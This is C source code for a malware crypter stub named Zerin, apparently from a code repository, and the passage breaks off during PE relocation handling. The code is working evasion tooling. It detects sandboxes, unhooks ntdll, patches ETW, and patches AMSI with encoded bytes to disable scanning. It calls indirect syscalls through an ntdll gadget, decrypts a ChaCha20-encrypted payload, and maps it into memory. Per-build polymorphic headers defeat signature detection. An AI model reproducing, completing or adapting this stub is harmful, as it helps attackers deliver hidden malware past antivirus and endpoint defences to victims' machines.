Files
Zerin-2/tools/zerin_stub_template.c
T

1189 lines
47 KiB
C
Raw Normal View History

2026-08-27 11:03:10 -06:00
/*
* zerin_stub_template.c - Advanced crypter stub with evasion layers
*
* Pre-compiled once into zerin_stub.exe. At crypt-time, the crypter
* injects a .data1 section (encrypted payload) and patches the .gfids section
* with key/nonce/RVA. No GCC needed at crypt-time.
*
* Evasion layers (execution order):
* 1. Sandbox detection (CPU, RAM, disk, sleep, recent files, PEB debug)
* 2. Ntdll unhooking (overwrite .text from disk copy)
* 3. ETW patching (patch EtwEventWrite to ret)
* 4. Indirect syscalls (SSN extraction + ntdll gadget trampoline)
* 5. Entropy flattening reversal (XOR with English-text keystream)
* 6. ChaCha20 decryption
* 7. PE memory loading (manual map, relocs, imports, TLS, entry point)
* 8. Cleanup (SecureZeroMemory all buffers)
*
* Compile (one-time):
* windres zerin_stub.rc -o zerin_stub_res.o
* gcc -std=gnu11 -O2 -s -mwindows -fno-stack-protector
* -fno-asynchronous-unwind-tables -D_WIN32_WINNT=0x0601
* zerin_stub_template.c zerin_stub_res.o
* -lntdll -lkernel32 -luser32 -ladvapi32 -lshell32 -lole32
* -o zerin_stub.exe
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>
#include <shlobj.h>
#include <ole2.h>
/* Per-build polymorphic config (magic, sections, charset, thresholds) */
#include "stub_poly_config.h"
/* Per-build hash constants (must come before metamorphic — needs STUB_LCG_* defines) */
/* Note: stub_poly_hash.h is included further down after PEB structures */
/* Per-build metamorphic function bodies (LCG, ChaCha20, syscall, etc.) */
/* Note: stub_poly_metamorphic.h is included after stub_poly_config.h so it
* can use STUB_LCG_MULT, STUB_LCG_INC, STUB_LCG_SHIFT, STUB_ENTROPY_CHARSET */
#include "stub_poly_metamorphic.h"
/* Per-build IAT padding (12-20 benign API calls to normalize import table) */
#include "stub_poly_iat.h"
/* Per-build binary size padding (realistic .rdata content) */
#include "stub_poly_padding.h"
/* ======================================================================
* Configuration section - patched by crypter at crypt-time
* ====================================================================== */
typedef struct _STUB_CONFIG {
uint32_t magic; /* Per-build random marker */
uint32_t payload_rva; /* RVA of payload section */
uint32_t payload_size; /* Size of encrypted+flattened payload */
uint8_t key[32]; /* ChaCha20 key */
uint8_t nonce[12]; /* ChaCha20 nonce */
uint32_t entropy_seed; /* Seed for deterministic entropy pad generation */
} STUB_CONFIG;
volatile STUB_CONFIG g_Config
__attribute__((section(STUB_CFG_SECTION), used)) = { .magic = STUB_CONFIG_MAGIC };
/* ======================================================================
* PEB structures (minimal, no imports needed)
* ====================================================================== */
typedef struct _S_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID DllBase;
LPVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} S_LDR_DATA_TABLE_ENTRY;
typedef struct _S_PEB_LDR_DATA {
DWORD Length;
DWORD Initialized;
LPVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
} S_PEB_LDR_DATA;
typedef struct _S_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2;
#ifdef _WIN64
BYTE Reserved3[4];
#endif
LPVOID Reserved4[1];
LPVOID ImageBaseAddress;
S_PEB_LDR_DATA *Ldr;
} S_PEB;
/* ======================================================================
* PEB access helpers
* ====================================================================== */
static inline __attribute__((always_inline)) S_PEB *GetPeb(void) {
#ifdef _WIN64
return (S_PEB *)__readgsqword(0x60);
#else
return (S_PEB *)__readfsdword(0x30);
#endif
}
/* Polymorphic hash — algorithm and constants generated per build */
#include "stub_poly_hash.h"
extern void poly_stub_init(void);
static LPVOID StubGetModuleHandle(DWORD moduleHash) {
S_PEB_LDR_DATA *ldr = GetPeb()->Ldr;
S_LDR_DATA_TABLE_ENTRY *first = (S_LDR_DATA_TABLE_ENTRY *)ldr->InMemoryOrderModuleList.Flink;
S_LDR_DATA_TABLE_ENTRY *entry = first;
do {
if (entry->BaseDllName.Buffer) {
DWORD h = StubHashW(entry->BaseDllName.Buffer, entry->BaseDllName.Length);
if (h == moduleHash) return entry->DllBase;
}
entry = (S_LDR_DATA_TABLE_ENTRY *)entry->InMemoryOrderModuleList.Flink;
} while (entry != first);
return NULL;
}
static LPVOID StubGetProcAddress(DWORD moduleHash, DWORD functionHash) {
LPBYTE base = (LPBYTE)StubGetModuleHandle(moduleHash);
if (!base) return NULL;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
LPDWORD names = (LPDWORD)(base + exp->AddressOfNames);
LPWORD ordinals = (LPWORD)(base + exp->AddressOfNameOrdinals);
LPDWORD funcs = (LPDWORD)(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
DWORD h = StubHash((const char *)(base + names[i]));
if (h == functionHash) {
return base + funcs[ordinals[i]];
}
}
return NULL;
}
/* Function pointer typedefs */
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
typedef FARPROC (WINAPI *fn_GetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
typedef HMODULE (WINAPI *fn_GetModuleHandleA)(LPCSTR);
typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL (WINAPI *fn_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
typedef BOOL (WINAPI *fn_GetDiskFreeSpaceExA)(LPCSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER);
typedef void (WINAPI *fn_Sleep)(DWORD);
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
typedef HANDLE (WINAPI *fn_FindFirstFileA)(LPCSTR, LPWIN32_FIND_DATAA);
typedef BOOL (WINAPI *fn_FindNextFileA)(HANDLE, LPWIN32_FIND_DATAA);
typedef BOOL (WINAPI *fn_FindClose)(HANDLE);
typedef DWORD (WINAPI *fn_GetEnvironmentVariableA)(LPCSTR, LPSTR, DWORD);
typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
typedef void (WINAPI *fn_ExitProcess)(UINT);
typedef BOOL (WINAPI *fn_WriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef DWORD (WINAPI *fn_GetTempPathA)(DWORD, LPSTR);
/* ======================================================================
* Diagnostic logging (enabled with -DSTUB_DEBUG)
* Writes step-by-step progress to %TEMP%\zerin_diag.log
* ====================================================================== */
#ifdef STUB_DEBUG
static HANDLE g_diag_file = (HANDLE)-1;
static fn_WriteFile g_pWriteFile = NULL;
static void DiagInit(void) {
fn_CreateFileA pCreateFileA =
(fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA);
g_pWriteFile =
(fn_WriteFile)StubGetProcAddress(FH_KERNEL32, FH_WriteFile);
if (!pCreateFileA || !g_pWriteFile) return;
/* Build path: %TEMP%\zerin_diag.log */
char path[MAX_PATH];
DWORD len = 0;
fn_GetEnvironmentVariableA pGetEnv =
(fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA);
if (pGetEnv) {
char tmp[] = {'T','E','M','P',0};
len = pGetEnv(tmp, path, MAX_PATH - 30);
}
if (len == 0 || len >= MAX_PATH - 30) {
path[0] = 'C'; path[1] = ':'; path[2] = '\\'; len = 3;
}
const char suffix[] = "\\zerin_diag.log";
for (int i = 0; suffix[i]; i++) path[len++] = suffix[i];
path[len] = 0;
g_diag_file = pCreateFileA(path, 0x40000000/*GENERIC_WRITE*/, 1/*FILE_SHARE_READ*/,
NULL, 2/*CREATE_ALWAYS*/, 0x80/*FILE_ATTRIBUTE_NORMAL*/, NULL);
}
static void DiagLog(const char *msg) {
if (g_diag_file == (HANDLE)-1 || !g_pWriteFile) return;
DWORD written;
int len = 0;
while (msg[len]) len++;
g_pWriteFile(g_diag_file, msg, (DWORD)len, &written, NULL);
}
static void DiagLogHex(const char *prefix, uint32_t val) {
char buf[80];
int i = 0;
while (prefix[i] && i < 60) { buf[i] = prefix[i]; i++; }
const char hex[] = "0123456789ABCDEF";
buf[i++] = '0'; buf[i++] = 'x';
for (int j = 28; j >= 0; j -= 4) buf[i++] = hex[(val >> j) & 0xF];
buf[i++] = '\r'; buf[i++] = '\n';
buf[i] = 0;
DiagLog(buf);
}
static void DiagClose(void) {
if (g_diag_file != (HANDLE)-1) {
fn_CloseHandle pClose =
(fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle);
if (pClose) pClose(g_diag_file);
g_diag_file = (HANDLE)-1;
}
}
#else
#define DiagInit()
#define DiagLog(msg)
#define DiagLogHex(prefix, val)
#define DiagClose()
#endif
/* NT indirect syscall prototypes (naked ASM — defined after InitSyscalls) */
NTSTATUS IndirectNtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS IndirectNtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
NTSTATUS IndirectNtFreeVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG);
NTSTATUS IndirectNtFlushInstructionCache(HANDLE, PVOID, SIZE_T);
/* ======================================================================
* Indirect syscall infrastructure
*
* Extract SSN from ntdll function prologue:
* mov r10, rcx → 4C 8B D1
* mov eax, SSN → B8 xx xx 00 00
* Then find a `syscall; ret` gadget in ntdll's .text for execution.
* ====================================================================== */
/* Flat globals for indirect syscall dispatch.
* NOT static — naked function inline ASM needs external linkage for
* RIP-relative addressing on GCC 15.x */
DWORD stub_ssn_NtAllocate;
DWORD stub_ssn_NtProtect;
DWORD stub_ssn_NtFree;
DWORD stub_ssn_NtFlush;
PVOID stub_gadget_addr; /* Single `syscall; ret` gadget in ntdll */
/* ExtractSSN — provided by stub_poly_metamorphic.h (per-build pattern mutation) */
/* FindSyscallGadget — provided by stub_poly_metamorphic.h (per-build scan mutation) */
static int InitSyscalls(LPBYTE ntdllBase) {
PVOID gadget = FindSyscallGadget(ntdllBase);
if (!gadget) return -1;
stub_gadget_addr = gadget;
/* Find exports by hash */
LPBYTE pAlloc = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtAllocateVirtualMemory);
LPBYTE pProtect = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtProtectVirtualMemory);
LPBYTE pFree = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFreeVirtualMemory);
LPBYTE pFlush = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_NtFlushInstructionCache);
if (!pAlloc || !pProtect || !pFree) return -1;
stub_ssn_NtAllocate = ExtractSSN(pAlloc);
stub_ssn_NtProtect = ExtractSSN(pProtect);
stub_ssn_NtFree = ExtractSSN(pFree);
if (pFlush)
stub_ssn_NtFlush = ExtractSSN(pFlush);
if (stub_ssn_NtAllocate == (DWORD)-1 || stub_ssn_NtProtect == (DWORD)-1 ||
stub_ssn_NtFree == (DWORD)-1) return -1;
return 0;
}
/*
* Indirect syscall wrappers using naked ASM.
* mov r10, rcx — NT calling convention (rcx → r10)
* mov eax, SSN — syscall service number
* jmp [gadget] — jump to `syscall; ret` in ntdll's .text
*
* The `syscall` instruction executes from ntdll's memory range,
* bypassing "syscall from non-ntdll" detections.
*/
__attribute__((naked)) NTSTATUS IndirectNtAllocateVirtualMemory(
HANDLE process, PVOID *base, ULONG_PTR zeroBits,
PSIZE_T size, ULONG allocType, ULONG protect)
{
__asm__ volatile (
".intel_syntax noprefix\n\t"
"mov r10, rcx\n\t"
"mov eax, dword ptr [rip + stub_ssn_NtAllocate]\n\t"
"jmp qword ptr [rip + stub_gadget_addr]\n\t"
".att_syntax prefix\n\t"
);
}
__attribute__((naked)) NTSTATUS IndirectNtProtectVirtualMemory(
HANDLE process, PVOID *base, PSIZE_T size, ULONG newProt, PULONG oldProt)
{
__asm__ volatile (
".intel_syntax noprefix\n\t"
"mov r10, rcx\n\t"
"mov eax, dword ptr [rip + stub_ssn_NtProtect]\n\t"
"jmp qword ptr [rip + stub_gadget_addr]\n\t"
".att_syntax prefix\n\t"
);
}
__attribute__((naked)) NTSTATUS IndirectNtFreeVirtualMemory(
HANDLE process, PVOID *base, PSIZE_T size, ULONG freeType)
{
__asm__ volatile (
".intel_syntax noprefix\n\t"
"mov r10, rcx\n\t"
"mov eax, dword ptr [rip + stub_ssn_NtFree]\n\t"
"jmp qword ptr [rip + stub_gadget_addr]\n\t"
".att_syntax prefix\n\t"
);
}
__attribute__((naked)) NTSTATUS IndirectNtFlushInstructionCache(
HANDLE process, PVOID base, SIZE_T size)
{
__asm__ volatile (
".intel_syntax noprefix\n\t"
"mov r10, rcx\n\t"
"mov eax, dword ptr [rip + stub_ssn_NtFlush]\n\t"
"jmp qword ptr [rip + stub_gadget_addr]\n\t"
".att_syntax prefix\n\t"
);
}
/* ======================================================================
* Entropy-flattening keystream (deterministic from seed)
*
* The crypter generates a random seed, derives a pad via LCG, XORs
* the ciphertext with the pad to reduce entropy from ~8.0 to ~5.5
* bits/byte. The seed is stored in .gfids so we can regenerate the
* same pad here to reverse the flattening.
* ====================================================================== */
#define ENTROPY_PAD_SIZE 4096
/* generate_entropy_pad — provided by stub_poly_metamorphic.h (per-build LCG params) */
/* ======================================================================
* Layer 1: Sandbox Detection
* ====================================================================== */
static int SandboxCheck(void) {
int failures = 0;
fn_GetSystemInfo pGetSystemInfo =
(fn_GetSystemInfo)StubGetProcAddress(FH_KERNEL32, FH_GetSystemInfo);
fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx =
(fn_GlobalMemoryStatusEx)StubGetProcAddress(FH_KERNEL32, FH_GlobalMemoryStatusEx);
fn_Sleep pSleep =
(fn_Sleep)StubGetProcAddress(FH_KERNEL32, FH_Sleep);
fn_GetTickCount64 pGetTickCount64 =
(fn_GetTickCount64)StubGetProcAddress(FH_KERNEL32, FH_GetTickCount64);
fn_GetDiskFreeSpaceExA pGetDiskFreeSpaceExA =
(fn_GetDiskFreeSpaceExA)StubGetProcAddress(FH_KERNEL32, FH_GetDiskFreeSpaceExA);
fn_FindFirstFileA pFindFirstFileA =
(fn_FindFirstFileA)StubGetProcAddress(FH_KERNEL32, FH_FindFirstFileA);
fn_FindNextFileA pFindNextFileA =
(fn_FindNextFileA)StubGetProcAddress(FH_KERNEL32, FH_FindNextFileA);
fn_FindClose pFindClose =
(fn_FindClose)StubGetProcAddress(FH_KERNEL32, FH_FindClose);
fn_GetEnvironmentVariableA pGetEnv =
(fn_GetEnvironmentVariableA)StubGetProcAddress(FH_KERNEL32, FH_GetEnvironmentVariableA);
/* Check 1: CPU count < threshold */
if (pGetSystemInfo) {
SYSTEM_INFO si;
pGetSystemInfo(&si);
DiagLogHex("SB: cpus=", si.dwNumberOfProcessors);
DiagLogHex("SB: min_cpu=", SB_MIN_CPU);
if (si.dwNumberOfProcessors < SB_MIN_CPU) failures++;
}
/* Check 2: RAM < threshold */
if (pGlobalMemoryStatusEx) {
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
if (pGlobalMemoryStatusEx(&ms)) {
DiagLogHex("SB: ram_gb=", (uint32_t)(ms.ullTotalPhys / (1024*1024*1024)));
DiagLogHex("SB: min_ram=", SB_MIN_RAM_GB);
if (ms.ullTotalPhys < ((unsigned long long)SB_MIN_RAM_GB * 1024 * 1024 * 1024)) failures++;
}
}
/* Check 3: Sleep acceleration (sandbox fast-forwards Sleep calls) */
if (pSleep && pGetTickCount64) {
ULONGLONG t1 = pGetTickCount64();
pSleep(SB_SLEEP_MS);
ULONGLONG t2 = pGetTickCount64();
DiagLogHex("SB: sleep_delta=", (uint32_t)(t2 - t1));
DiagLogHex("SB: sleep_min=", SB_SLEEP_MIN_MS);
if ((t2 - t1) < SB_SLEEP_MIN_MS) failures++;
}
/* Check 4: Disk < threshold */
if (pGetDiskFreeSpaceExA) {
ULARGE_INTEGER totalBytes;
char drive[] = { 'C', ':', '\\', 0 };
if (pGetDiskFreeSpaceExA(drive, NULL, &totalBytes, NULL)) {
DiagLogHex("SB: disk_gb=", (uint32_t)(totalBytes.QuadPart / (1024*1024*1024)));
DiagLogHex("SB: min_disk=", SB_MIN_DISK_GB);
if (totalBytes.QuadPart < ((unsigned long long)SB_MIN_DISK_GB * 1024 * 1024 * 1024)) failures++;
}
}
/* Check 5: Recent files < threshold */
if (pFindFirstFileA && pFindNextFileA && pFindClose && pGetEnv) {
char recentPath[MAX_PATH];
DWORD len = pGetEnv("USERPROFILE", recentPath, MAX_PATH - 30);
if (len > 0 && len < MAX_PATH - 30) {
char *p = recentPath + len;
const char suffix[] = "\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*";
for (int i = 0; suffix[i]; i++) *p++ = suffix[i];
*p = 0;
WIN32_FIND_DATAA fd;
HANDLE hFind = pFindFirstFileA(recentPath, &fd);
if (hFind != INVALID_HANDLE_VALUE) {
int count = 0;
do { count++; } while (count < (SB_MIN_RECENT + 5) && pFindNextFileA(hFind, &fd));
pFindClose(hFind);
DiagLogHex("SB: recent_files=", (uint32_t)count);
DiagLogHex("SB: min_recent=", SB_MIN_RECENT);
if (count < SB_MIN_RECENT) failures++;
} else {
DiagLog("SB: recent dir not found\r\n");
failures++;
}
}
}
/* Check 6: PEB.BeingDebugged (direct read, no API call) */
DiagLogHex("SB: BeingDebugged=", (uint32_t)GetPeb()->BeingDebugged);
if (GetPeb()->BeingDebugged) failures++;
DiagLogHex("SB: total_failures=", (uint32_t)failures);
/* If 3+ checks fail, assume sandbox (2 is too aggressive for dev/VM) */
return (failures >= 3) ? 1 : 0;
}
/* ======================================================================
* Layer 2: Ntdll Unhooking
* ====================================================================== */
static int UnhookNtdll(void) {
fn_CreateFileA pCreateFileA =
(fn_CreateFileA)StubGetProcAddress(FH_KERNEL32, FH_CreateFileA);
fn_ReadFile pReadFile =
(fn_ReadFile)StubGetProcAddress(FH_KERNEL32, FH_ReadFile);
fn_GetFileSize pGetFileSize =
(fn_GetFileSize)StubGetProcAddress(FH_KERNEL32, FH_GetFileSize);
fn_CloseHandle pCloseHandle =
(fn_CloseHandle)StubGetProcAddress(FH_KERNEL32, FH_CloseHandle);
fn_VirtualAlloc pVirtualAlloc =
(fn_VirtualAlloc)StubGetProcAddress(FH_KERNEL32, FH_VirtualAlloc);
fn_VirtualProtect pVirtualProtect =
(fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect);
fn_VirtualFree pVirtualFree =
(fn_VirtualFree)StubGetProcAddress(FH_KERNEL32, FH_VirtualFree);
if (!pCreateFileA || !pReadFile || !pGetFileSize || !pCloseHandle ||
!pVirtualAlloc || !pVirtualProtect || !pVirtualFree) return -1;
/* Build path "C:\Windows\System32\ntdll.dll" on stack */
char ntdllPath[] = { 'C',':','\\','W','i','n','d','o','w','s','\\',
'S','y','s','t','e','m','3','2','\\',
'n','t','d','l','l','.','d','l','l', 0 };
HANDLE hFile = pCreateFileA(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return -1;
DWORD fileSize = pGetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE || fileSize == 0) {
pCloseHandle(hFile);
return -1;
}
LPBYTE fileBuffer = (LPBYTE)pVirtualAlloc(NULL, fileSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fileBuffer) { pCloseHandle(hFile); return -1; }
DWORD bytesRead = 0;
if (!pReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
pVirtualFree(fileBuffer, 0, MEM_RELEASE);
pCloseHandle(hFile);
return -1;
}
pCloseHandle(hFile);
/* Validate PE */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)fileBuffer;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
pVirtualFree(fileBuffer, 0, MEM_RELEASE);
return -1;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(fileBuffer + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
pVirtualFree(fileBuffer, 0, MEM_RELEASE);
return -1;
}
/* Get in-memory ntdll base */
LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL);
if (!ntdllBase) { pVirtualFree(fileBuffer, 0, MEM_RELEASE); return -1; }
int result = -1;
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
sec[i].Name[4] == 't') {
LPVOID textAddr = ntdllBase + sec[i].VirtualAddress;
SIZE_T textSize = sec[i].SizeOfRawData;
if (sec[i].PointerToRawData + textSize > fileSize) break;
DWORD oldProtect;
if (pVirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
/* Byte-by-byte copy (no memcpy import needed) */
LPBYTE src = fileBuffer + sec[i].PointerToRawData;
LPBYTE dst = (LPBYTE)textAddr;
for (SIZE_T j = 0; j < textSize; j++) dst[j] = src[j];
pVirtualProtect(textAddr, textSize, oldProtect, &oldProtect);
result = 0;
}
break;
}
}
pVirtualFree(fileBuffer, 0, MEM_RELEASE);
return result;
}
/* ======================================================================
* Layer 3: ETW Patching
* ====================================================================== */
static void PatchETW(void) {
fn_VirtualProtect pVirtualProtect =
(fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect);
if (!pVirtualProtect) return;
LPBYTE pEtwEventWrite = (LPBYTE)StubGetProcAddress(FH_NTDLL, FH_EtwEventWrite);
if (!pEtwEventWrite) return;
DWORD old;
if (pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, PAGE_EXECUTE_READWRITE, &old)) {
for (int i = 0; i < STUB_ETW_PATCH_SIZE; i++)
pEtwEventWrite[i] = STUB_ETW_PATCH[i];
pVirtualProtect(pEtwEventWrite, STUB_ETW_PATCH_SIZE, old, &old);
}
}
/* ======================================================================
* Layer 3b: AMSI Patching
*
* Patches AmsiOpenSession to return E_FAIL, silently killing all AMSI
* scans. Uses stack-built strings and XOR-decoded patch bytes to avoid
* static signatures. Resolves LoadLibraryA/GetProcAddress/VirtualProtect
* via PEB hash (no IAT imports).
* ====================================================================== */
static void PatchAMSI(void) {
fn_LoadLibraryA pLoadLibraryA =
(fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA);
fn_VirtualProtect pVirtualProtect =
(fn_VirtualProtect)StubGetProcAddress(FH_KERNEL32, FH_VirtualProtect);
if (!pLoadLibraryA || !pVirtualProtect) return;
/* Build "amsi.dll" as stack char array (no .rdata literal) */
char amsi_dll[] = { 'a','m','s','i','.','d','l','l', 0 };
HMODULE hAmsi = pLoadLibraryA(amsi_dll);
SecureZeroMemory(amsi_dll, sizeof(amsi_dll));
if (!hAmsi) return; /* AMSI not present */
/* Resolve AmsiOpenSession from amsi.dll export table via polymorphic hash */
LPBYTE pFunc = NULL;
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hAmsi;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((LPBYTE)hAmsi + dos->e_lfanew);
if (nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)hAmsi + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
LPDWORD names = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfNames);
LPWORD ordinals = (LPWORD)((LPBYTE)hAmsi + exp->AddressOfNameOrdinals);
LPDWORD funcs = (LPDWORD)((LPBYTE)hAmsi + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
DWORD h = StubHash((const char *)((LPBYTE)hAmsi + names[i]));
if (h == FH_AmsiOpenSession) {
pFunc = (LPBYTE)hAmsi + funcs[ordinals[i]];
break;
}
}
}
if (!pFunc) return;
DWORD oldProtect;
if (!pVirtualProtect(pFunc, 8, PAGE_EXECUTE_READWRITE, &oldProtect))
return;
/*
* XOR-decode patch bytes (key 0x55):
* 48 31 C0 xor rax, rax
* 48 FF C8 dec rax
* C3 ret
* AmsiOpenSession returns -1 (E_FAIL), killing all AMSI scans.
*/
unsigned char enc[] = { 0x1D, 0x64, 0x95, 0x1D, 0xAA, 0x9D, 0x96 };
for (int i = 0; i < 7; i++)
pFunc[i] = enc[i] ^ 0x55;
pVirtualProtect(pFunc, 8, oldProtect, &oldProtect);
SecureZeroMemory(enc, sizeof(enc));
}
/* ======================================================================
* ChaCha20 decryption (pure, no imports)
* ====================================================================== */
/* ROTL32, QR, load_le32, chacha20_decrypt — provided by stub_poly_metamorphic.h
* (per-build unroll depth, rotation style, and load pattern mutation) */
/* ======================================================================
* Relocation helper
* ====================================================================== */
typedef struct _IMAGE_RELOC_ENTRY {
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY;
/* ======================================================================
* Section characteristics to protection flags
* ====================================================================== */
/* SectionToProtection — provided by stub_poly_metamorphic.h (per-build structure mutation) */
/* ======================================================================
* Layer 6: PE Memory Loader (adapted from reflective.c for EXEs)
*
* Uses indirect syscalls (NtAllocateVirtualMemory, NtProtectVirtualMemory)
* instead of VirtualAlloc/VirtualProtect to avoid IAT detection.
* ====================================================================== */
static int LoadPE(uint8_t *pe_data, size_t pe_size) {
DiagLog("LOADPE: enter\r\n");
/* Resolve LoadLibraryA and GetProcAddress via PEB (needed for imports) */
fn_LoadLibraryA pLoadLibraryA =
(fn_LoadLibraryA)StubGetProcAddress(FH_KERNEL32, FH_LoadLibraryA);
fn_GetProcAddress pGetProcAddress =
(fn_GetProcAddress)StubGetProcAddress(FH_KERNEL32, FH_GetProcAddress);
if (!pLoadLibraryA || !pGetProcAddress) {
DiagLog("LOADPE: FAIL resolve LLA/GPA\r\n");
return -1;
}
/* Validate DOS header */
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_data;
if (pe_size < sizeof(IMAGE_DOS_HEADER) || dos->e_magic != IMAGE_DOS_SIGNATURE) {
DiagLog("LOADPE: FAIL DOS header\r\n");
return -2;
}
if ((DWORD)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_size) {
DiagLog("LOADPE: FAIL e_lfanew OOB\r\n");
return -3;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_data + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
DiagLog("LOADPE: FAIL NT sig\r\n");
return -4;
}
PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
if (opt->SizeOfImage == 0) {
DiagLog("LOADPE: FAIL SizeOfImage 0\r\n");
return -5;
}
DiagLogHex("LOADPE: SizeOfImage=", opt->SizeOfImage);
DiagLogHex("LOADPE: ImageBase=", (uint32_t)opt->ImageBase);
/* Allocate via indirect syscall */
PVOID imageBase = (PVOID)opt->ImageBase;
SIZE_T imageSize = opt->SizeOfImage;
NTSTATUS status = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &imageBase, 0, &imageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (status != 0) {
imageBase = NULL;
imageSize = opt->SizeOfImage;
status = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &imageBase, 0, &imageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
}
if (status != 0 || !imageBase) {
DiagLogHex("LOADPE: FAIL NtAlloc image status=", (uint32_t)status);
return -6;
}
LPBYTE base = (LPBYTE)imageBase;
DiagLogHex("LOADPE: mapped at=", (uint32_t)(uintptr_t)base);
/* Copy headers (byte-by-byte, no memcpy import) */
for (DWORD i = 0; i < opt->SizeOfHeaders; i++)
base[i] = pe_data[i];
/* Map sections */
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
WORD numSections = nt->FileHeader.NumberOfSections;
for (WORD i = 0; i < numSections; i++) {
if (sections[i].SizeOfRawData == 0) continue;
LPBYTE dst = base + sections[i].VirtualAddress;
LPBYTE src = pe_data + sections[i].PointerToRawData;
for (DWORD j = 0; j < sections[i].SizeOfRawData; j++)
dst[j] = src[j];
}
/* Process relocations */
DiagLog("LOADPE: sections mapped\r\n");
ULONGLONG delta = (ULONGLONG)base - (ULONGLONG)opt->ImageBase;
